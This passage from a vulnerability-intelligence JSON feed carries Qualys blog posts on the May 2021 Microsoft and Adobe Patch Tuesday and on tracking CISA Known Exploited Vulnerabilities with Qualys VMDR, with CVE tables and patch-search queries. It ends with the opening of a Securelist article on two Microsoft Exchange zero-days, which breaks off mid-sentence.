"CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-06-14T06:32:34", "description": "### Microsoft Patch Tuesday \u2013 May 2021\n\nMicrosoft patched 55 CVEs in their May 2021 Patch Tuesday release, of which 4 are rated as critical severity. Three 0-day vulnerability patches were included in the release. As of this publication date, none have been exploited.\n\nQualys released 12 QIDs on the same day, providing vulnerability detection and patch management coverage (where applicable) for all 55 CVEs and the related KBs.\n\n#### Critical Microsoft vulnerabilities patched: \n\n**CVE-2021-31181 **- SharePoint Remote Code Execution Vulnerability\n\nMicrosoft released patches addressing a critical RCE vulnerability in SharePoint (CVE-2021-31181). This CVE has a high likelihood of exploitability and is assigned a CVSSv3 base score of 8.8 by the vendor. \n\n**CVE-2021-31166 **- HTTP Protocol Stack Remote Code Execution Vulnerability\n\nMicrosoft released patches addressing a critical RCE vulnerability in Windows. This vulnerability allows an unauthenticated attacker to remotely execute code as kernel. This is a wormable vulnerability where an attacker can simply send a malicious crafted packet to the target impacted web-server. CVE has a high likelihood of exploitability and is assigned a CVSSv3 base score of 9.8 by the vendor.\n\n**CVE-2021-28476** - Hyper-V Remote Code Execution Vulnerability\n\nMicrosoft released patches addressing a critical RCE in Windows Server that impacts Hyper-V. Though the exploitation of this vulnerability is less likely (according to Microsoft), this should be prioritized for patching since adversaries can abuse this vulnerability and cause Denial of Service (DoS) in the form of a bug check. This CVE is assigned a CVSSv3 base score of 9.9 by the vendor.\n\n#### Three 0-day vulnerabilities patched: \n\n * CVE-2021-31204 - .NET and Visual Studio Elevation of Privilege Vulnerability \n * CVE-2021-31207 - Microsoft Exchange Server Security Feature Bypass Vulnerability\n * CVE-2021-31200 - Common Utilities Remote Code Execution Vulnerability\n\n#### Qualys QIDs Providing Coverage\n\nQID| Title| Severity| CVE ID \n---|---|---|--- \n100415| Microsoft Internet Explorer Security Update for May 2021| Medium| CVE-2021-26419 \n91762| Microsoft SharePoint Enterprise Server Multiple Vulnerabilities May 2021| High| CVE-2021-31181 \nCVE-2021-31173 \nCVE-2021-31172 \nCVE-2021-31171 \nCVE-2021-26418 \nCVE-2021-28478 \nCVE-2021-28474 \n110381| Microsoft Office and Microsoft Office Services and Web Apps Security Update May 2021| High| CVE-2021-31180 \nCVE-2021-31179 \nCVE-2021-31178 \nCVE-2021-31177 \nCVE-2021-31176 \nCVE-2021-31175 \nCVE-2021-31174 \nCVE-2021-28455 \n110382| Microsoft Skype for Business Server Security and Lync Server Update for May 2021| High| CVE-2021-26421 \nCVE-2021-26422 \n375556| Visual Studio Code Remote Code Execution Vulnerability| High| CVE-2021-31214 \nCVE-2021-31211 \n375557| Visual Studio Code Remote Development for Containers Extension Remote Code Execution Vulnerability| Medium| CVE-2021-31213 \n50111| Microsoft Exchange Server Multiple Vulnerabilities - May 2021| High| CVE-2021-31209 \nCVE-2021-31207 \nCVE-2021-31198 \nCVE-2021-31195 \n91762| Microsoft Windows Security Update for May 2021| Critical| CVE-2021-31192 \nCVE-2021-31188 \nCVE-2021-31170 \nCVE-2021-28476 \nCVE-2021-31184 \nCVE-2021-31190 \nCVE-2021-31167 \nCVE-2021-31168 \nCVE-2021-31208 \nCVE-2021-31169 \nCVE-2021-31165 \nCVE-2021-1720 \nCVE-2021-28479 \nCVE-2021-31185 \nCVE-2021-31194 \nCVE-2021-31191 \nCVE-2021-31186 \nCVE-2021-31205 \nCVE-2021-31193 \nCVE-2021-31187 \nCVE-2020-26144 \nCVE-2020-24587 \nCVE-2020-24588 \n91763| Microsoft Visual Studio Security Update for May 2021| High| CVE-2021-27068 \nCVE-2021-31204 \n91764| Microsoft Windows Web Media Extensions Remote Code Execution Vulnerability| High| CVE-2021-28465 \n91766| Microsoft .NET Core Security Update May 2021| Medium| CVE-2021-31204 \n91767| Microsoft Windows HTTP Protocol Stack Remote Code Execution Vulnerability - May 2021| Critical| CVE-2021-31166 \n \n### Adobe Patch Tuesday \u2013 May 2021\n\nAdobe addressed 46 CVEs this Patch Tuesday, of which 26 are rated as critical severity, including one critical 0-day (CVE-2021-28550) impacting Adobe Acrobat and Reader product.\n\nAdobe products patches include the following: Experience Manager, InDesign, Illustrator, InCopy, Genuine Service, Acrobat and Reader, Magento, Creative Cloud Desktop Application, Media Encoder, After Effects, Medium, and Animate products.\n\nQualys released 5 QIDs on the same day, providing vulnerability detection for 30 of the 46 CVEs, including 8 rated as critical.\n\n#### One 0-day vulnerability patched:\n\n**CVE-2021-28550**\n\nThis is a Remote Code Execution vulnerability impacting Adobe Acrobat and Reader and is being actively exploited in the wild on Windows devices. Adversaries are able to execute arbitrary code in windows, including installing malicious applications and gaining complete access to target machines.\n\nAdobe Security Bulletin| QID| Severity| CVE ID \n---|---|---|--- \n[APSB21-22 Security updates available for Adobe InDesign](<https://helpx.adobe.com/security/products/indesign/apsb21-22.html>)| 375549| Critical \nCritical \nCritical| CVE-2021-21098 \nCVE-2021-21099 \nCVE-2021-21043 \n[APSB21-24 Security update available for Adobe Illustrator](<https://helpx.adobe.com/security/products/illustrator/apsb21-24.html>)| 375551| Critical \nCritical \nCritical \nCritical \nCritical| CVE-2021-21101 \nCVE-2021-21103 \nCVE-2021-21104 \nCVE-2021-21105 \nCVE-2021-21102 \n[APSB21-29 Security update available for Adobe Acrobat and Reader](<https://helpx.adobe.com/security/products/acrobat/apsb21-29.html>)| 375547| Important \nCritical \nImportant \nCritical \nImportant \nCritical \nCritical \nCritical \nCritical \nCritical \nImportant \nCritical \nCritical \nCritical| CVE-2021-28561 \nCVE-2021-28560 \nCVE-2021-28558 \nCVE-2021-28557 \nCVE-2021-28555 \nCVE-2021-28565 \nCVE-2021-28564 \nCVE-2021-21044 \nCVE-2021-21038 \nCVE-2021-21086 \nCVE-2021-28559 \nCVE-2021-28562 \nCVE-2021-28550 \nCVE-2021-28553 \n[APSB21-32 Security update available for Adobe Media Encoder](<https://helpx.adobe.com/security/products/media-encoder/apsb21-32.html>)| 375550| Important| CVE-2021-28569 \n[APSB21-35 Security update available for Adobe Animate7](<https://helpx.adobe.com/security/products/animate/apsb21-35.html>)| 375553| Important \nImportant \nImportant \nImportant \nImportant \nCritical \nCritical| CVE-2021-28572 \nCVE-2021-28573 \nCVE-2021-28574 \nCVE-2021-28575 \nCVE-2021-28576 \nCVE-2021-28578 \nCVE-2021-28577 \n \n### Discover Patch Tuesday Vulnerabilities in VMDR \n\n[Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) automatically detects new Patch Tuesday vulnerabilities using continuous updates to its Knowledge Base (KB).\n\nYou can see all your impacted hosts by these vulnerabilities using the following QQL query:\n\n`vulnerabilities.vulnerability:(qid:`50111` OR qid:`91762` OR qid:`91763` OR qid:`91764` OR qid:`91766` OR qid:`91767` OR qid:`100415` OR qid:`110380` OR qid:`110381` OR qid:`110382` OR qid:`375547` OR qid:`375549` OR qid:`375550` OR qid:`375551` OR qid:`375553` OR qid:`375556` OR qid:`375557`)`\n\n\n\n### Respond by Patching\n\nVMDR rapidly remediates Windows hosts by deploying the most relevant and applicable per-technology version patches. You can simply select respective QIDs in the Patch Catalog and filter on the \u201cMissing\u201d patches to identify and deploy the applicable, available patches in one go.\n\nThe following QQL will return the missing patches pertaining to this Patch Tuesday.\n\n`qid:`50111` OR qid:`91762` OR qid:`91763` OR qid:`91764` OR qid:`91766` OR qid:`91767` OR qid:`100415` OR qid:`110380` OR qid:`110381` OR qid:`110382` OR qid:`375547` OR qid:`375549` OR qid:`375550` OR qid:`375551` OR qid:`375553` OR qid:`375556` OR qid:`375557``\n\n\n\n### Patch Tuesday Dashboard \n\nThe current updated Patch Tuesday dashboards are available in [Dashboard Toolbox: 2021 Patch Tuesday Dashboard](<https://qualys-secure.force.com/discussions/s/article/000006505>).\n\n### Webinar Series: This Month in Patches\n\nTo help customers leverage the seamless integration between Qualys VMDR and Patch Management and reduce the median time to remediate critical vulnerabilities, the Qualys Research team is hosting a monthly webinar series [_This Month in Patches_](<https://www.brighttalk.com/webcast/11673/486394>).\n\nWe discuss some of the key vulnerabilities disclosed in the past month and how to patch them:\n\n * 21Nails Exim Mail Server Multiple Vulnerabilities\n * Pulse Connect Secure Remote Code Execution Vulnerability (CVE-2021-22893)\n * Microsoft Patch Tuesday, May 2021\n\n[Join us live or watch on demand](<https://www.brighttalk.com/webcast/11673/486394>)!\n\n### About Patch Tuesday \n\nPatch Tuesday QIDs are published at [Security Alerts](<https://www.qualys.com/research/security-alerts/>), typically late in the evening of [Patch Tuesday](<https://blog.qualys.com/tag/patch-tuesday>), followed shortly after by [PT dashboards](<https://qualys-secure.force.com/discussions/s/article/000006505>).", "cvss3": {}, "published": "2021-05-11T21:53:37", "type": "qualysblog", "title": "Microsoft & Adobe Patch Tuesday (May 2021) \u2013 Qualys covers 85 Vulnerabilities, 26 Critical", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-24587", "CVE-2020-24588", "CVE-2020-26144", "CVE-2021-1720", "CVE-2021-21038", "CVE-2021-21043", "CVE-2021-21044", "CVE-2021-21086", "CVE-2021-21098", "CVE-2021-21099", "CVE-2021-21101", "CVE-2021-21102", "CVE-2021-21103", "CVE-2021-21104", "CVE-2021-21105", "CVE-2021-22893", "CVE-2021-26418", "CVE-2021-26419", "CVE-2021-26421", "CVE-2021-26422", "CVE-2021-27068", "CVE-2021-28455", "CVE-2021-28465", "CVE-2021-28474", "CVE-2021-28476", "CVE-2021-28478", "CVE-2021-28479", "CVE-2021-28550", "CVE-2021-28553", "CVE-2021-28555", "CVE-2021-28557", "CVE-2021-28558", "CVE-2021-28559", "CVE-2021-28560", "CVE-2021-28561", "CVE-2021-28562", "CVE-2021-28564", "CVE-2021-28565", "CVE-2021-28569", "CVE-2021-28572", "CVE-2021-28573", "CVE-2021-28574", "CVE-2021-28575", "CVE-2021-28576", "CVE-2021-28577", "CVE-2021-28578", "CVE-2021-31165", "CVE-2021-31166", "CVE-2021-31167", "CVE-2021-31168", "CVE-2021-31169", "CVE-2021-31170", "CVE-2021-31171", "CVE-2021-31172", "CVE-2021-31173", "CVE-2021-31174", "CVE-2021-31175", "CVE-2021-31176", "CVE-2021-31177", "CVE-2021-31178", "CVE-2021-31179", "CVE-2021-31180", "CVE-2021-31181", "CVE-2021-31184", "CVE-2021-31185", "CVE-2021-31186", "CVE-2021-31187", "CVE-2021-31188", "CVE-2021-31190", "CVE-2021-31191", "CVE-2021-31192", "CVE-2021-31193", "CVE-2021-31194", "CVE-2021-31195", "CVE-2021-31198", "CVE-2021-31200", "CVE-2021-31204", "CVE-2021-31205", "CVE-2021-31207", "CVE-2021-31208", "CVE-2021-31209", "CVE-2021-31211", "CVE-2021-31213", "CVE-2021-31214"], "modified": "2021-05-11T21:53:37", "id": "QUALYSBLOG:A8EE36FB3E891C73934CB1C60E3B3D41", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:"true"_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2022-12-19T16:54:06", "description": "\n\n## Summary\n\nAt the end of September, GTSC reported an attack on critical infrastructure that took place in August. During the investigation, experts found that two 0-day vulnerabilities in Microsoft Exchange Server were used in the attack. The first one, later identified as CVE-2022-41040, is a server-side request forgery (SSRF) vulnerability that allows an authenticated attacker to remotely trigger the next vulnerability \u2013 CVE-2022-41082. The second vulnerability, in turn, allows remote code execution (RCE) when MS Exchange PowerShell is accessible to the attacker. As noted in the GTSC report, both vulnerabilities were exploited together in the wild to create a backdoor on a vulnerable server, and perform lateral movement.\n\nAfter CVE-2022-41040 and CVE-2022-41082 were revealed, Microsoft provided [mitigation guidance](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) followed by a few updates. According to the company, the 